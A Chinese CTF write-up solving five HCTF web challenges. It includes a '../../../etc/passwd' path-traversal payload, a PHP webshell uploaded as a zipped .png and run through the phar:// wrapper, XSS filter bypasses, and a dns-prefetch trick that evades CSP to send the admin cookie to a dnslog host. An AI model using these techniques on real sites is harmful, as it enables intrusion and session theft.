做了5個web題,分享一下思路。。
Level-1
1. 2099年的flag
打開鏈接,提示需要ios99才能得到flag,源碼的注釋中提示要POST,那么就修改User-Agent頭為ios的頭,版本改成99就好了。
Level-2
1. RESTFUL
打開題目鏈接鏈接,有這么一句
{"message":""Please <PUT> me some <money> more than <12450>!""}
很容易想到,需要使用PUT方法,并傳遞一個大于12450的money參數(shù),結(jié)合題目名,聯(lián)想到RESTFUL API,最終構(gòu)造路徑:
以PUT方式訪問即可得到flag
hctf{Do_you_know_12450?}
2. giligili
打開題目鏈接,提示需要填入hctf{...}形式的字符串,應(yīng)該就是flag了。
查看源碼,發(fā)現(xiàn)一段混淆過的js代碼。
**1) 預(yù)處理 **
先去掉一些不會用到的變量,函數(shù),然后整理,格式化一下。整個代碼大概可以分為三段:
- 一個存儲了一些的函數(shù)對象“_”
- 一個保存了訪問這些函數(shù)索引的數(shù)組“$”
- 一個函數(shù)check,用來處理主要邏輯。
2)計算answer
check函數(shù)同樣也分為幾個部分,我們注意到代碼中對answer進行了分隔
o = answer.split("_");
所以圍繞o[0],o[1],o[2],o[3]看就好了
- o[1]和o[2]
h = new MersenneTwister(parseInt(btoa(answer.substring(0, 4)), 32));
e = h.random() * 99;
e ^= h.mt[0];
l = new MersenneTwister(e);
l.random();l.random();l.random();
o = answer.split("_");
i = l.mt[~~(h.random() * 35725343) % 255];
s = ["0x" + i.toString(16), "0x" + e.toString(16).split("-")[1]];
e = -(this.eval(_[$[31]](o[1])) ^ s[0]);
if (-e != 0x697a) return false;
e ^= (this.eval(_[$[31]](o[2])) ^ s[1]);
if (-e != 0x623f21c1) return false;
注意到開始對answer取了前4位,而answer的形式又是hctf{...},所以這里就是“hctf”,帶進去根據(jù)后面的兩個if判斷,可以算出o[1]和o[2]
- o[0]和o[3]
o[0] = o[0].substring(5);
o[3] = o[3].substring(0, o[3].length - 1);
if (o[0].length > 5) return false;
a = parseInt(_[$[23]]("1", Math.max(o[0].length, o[3].length)), 3) ^ eval(_[$[31]](o[0]));
a += _[$[31]](o[3].substring(o[3].length - 2)).split("x")[1];
if (parseInt(a.split("84")[1], $.length / 2) != 0x4439feb) return false;
d = parseInt(a, 16) == (Math.pow(2, 16) + -5 + "") + o[3].charCodeAt(o[3].length - 3).toString(16) + "53846" + (new Date().getFullYear() - 1 + "");
i = 0xffff;
n = (p = (f = _[$[23]](o[3].charAt(o[3].length - 4), 3)) == o[3].substring(1, 4));
g = 3;
t = _[$[23]](o[3].charAt(3), 3) == o[3].substring(5, 8) && o[3].charCodeAt(1) * o[0].charCodeAt(0) == 0x2ef3;
h = ((31249 * g) & i).toString(16);
i = _[$[31]](o[3].split(f).join("").substring(0, 2)).split("x")[1];
s = i == h;
return (p & t & s & d) === 1 || (p & t & s & d) === true;
注意到前面對o[0]和o[3]進行了截取,這主要是為了去掉前面的“hctf{”和最后的“}”
然后從后往前看,要求p,t,s,d都為真,根據(jù)這個一點一點推,中間會遇到需要暴力猜解的情況,可以算出o[0]和o[3],最后拼起來就是flag了。不過發(fā)現(xiàn)這個代碼邏輯有一點問題,不過最后猜了一下flag應(yīng)該是完整的一句話,在這個代碼中是不能通過的,但是交上去通過了:
hctf{wh3r3_iz_y0ur_neee3eeed??}
3. 兵者多詭
// 這個跟之前的swpu的ctf很像,但是比較坑的是基本沒有提示。。。所以沒有做過類似題目的很難有這個腦洞。
打開題目鏈接,是一個圖片上傳頁面,上傳后會給出上傳后存儲的地址。文件名會被修改為“隨機字符串.png”的形式
經(jīng)測試發(fā)現(xiàn)后臺并不檢測文件名和文件類型,只檢測Content-Type,但是由于對文件重命名了,所以無論如何上傳后都只能是png。
但是發(fā)現(xiàn)上傳的請求url是這樣的形式:
/home.php?fp=upload
所以猜測后臺邏輯可能是include了一個upload文件進行處理,那么試試將upload改成“../../../etc/passwd”:
/home.php?fp=../../../etc/passwd
頁面返回:
No No No!
說明猜測對了,這樣我們可以試試讀取upload.php的源碼,是可以的,那么和swpu類似,我們可以使用php的phar協(xié)議讀取壓縮文件中的文件,從而實現(xiàn)命令執(zhí)行。
我們首先做一個一句話木馬shell.php,然后壓縮成zip,然后將這個zip后綴改成“.png”后上傳。
假設(shè)上傳后的圖片為路徑為“uploads/xxx.jpg”,那么我們訪問這個url就可以將shell代碼包含到當(dāng)前頁面:
/home.php?fp=phar://uploads/shell
后臺會自動給fp后面添上“.php”,然后包含,這樣就可以命令執(zhí)行了,讀取到/var/www目錄下有一個“Th1s_1s_F1a9.php html ”,cat一下,然后查看源碼,找到flag:
hctf{Th1s_1s_e4sY_1s_n0T_1t?}
Level-3
1. guestbook
打開鏈接,有兩個輸入框message和code,有提示
substr(md5($code),0,4) =='cec6'
這個后面的“cec6”沒刷新一次就會變
很明顯要讓code的md5前四位等于cec6,寫了一個腳本算了一下,用1000000以內(nèi)的數(shù)字去試就好了,正確會顯示提交成功,然后會提示:
AWAITING FOR THE ADMIN'S APPROVAL
并把提交的message的值顯示出來,既然說等待管理員的同意嘛,然后又顯示我們提交的東西,那么猜測是一個XSS。經(jīng)過測試,有一些過濾,下面給出繞過方法:
- 1.會將message中的“img”,“svg”,“script”,“on”刪掉
雙寫繞過就好了(scrscriptipt) - 2.“/”換成“_”
用escape之類的編碼一下就好了 - 3.過濾了單引號
用雙引號,或者是反引號
然后響應(yīng)頭中還有CSP策略,看了一下限制挺多了,就不想了,直接用dns預(yù)加載繞過,寫個腳本插入標(biāo)簽:
<link rel="dns-prefetch" >
這樣頁面就會發(fā)一個dns查詢請求,無視所有的CSP限制,這樣就可以用dnslog打到管理員cookie了:
admin=hctf2o16com30nag0gog0
以為這就是flag,可惜不對,所以繼續(xù)打管理頁面名字,然后帶著這個cookie訪問這個頁面就可以得到flag了。
- Level-3還有個web看了下沒思路,就去睡覺了,總結(jié)還是太菜了。。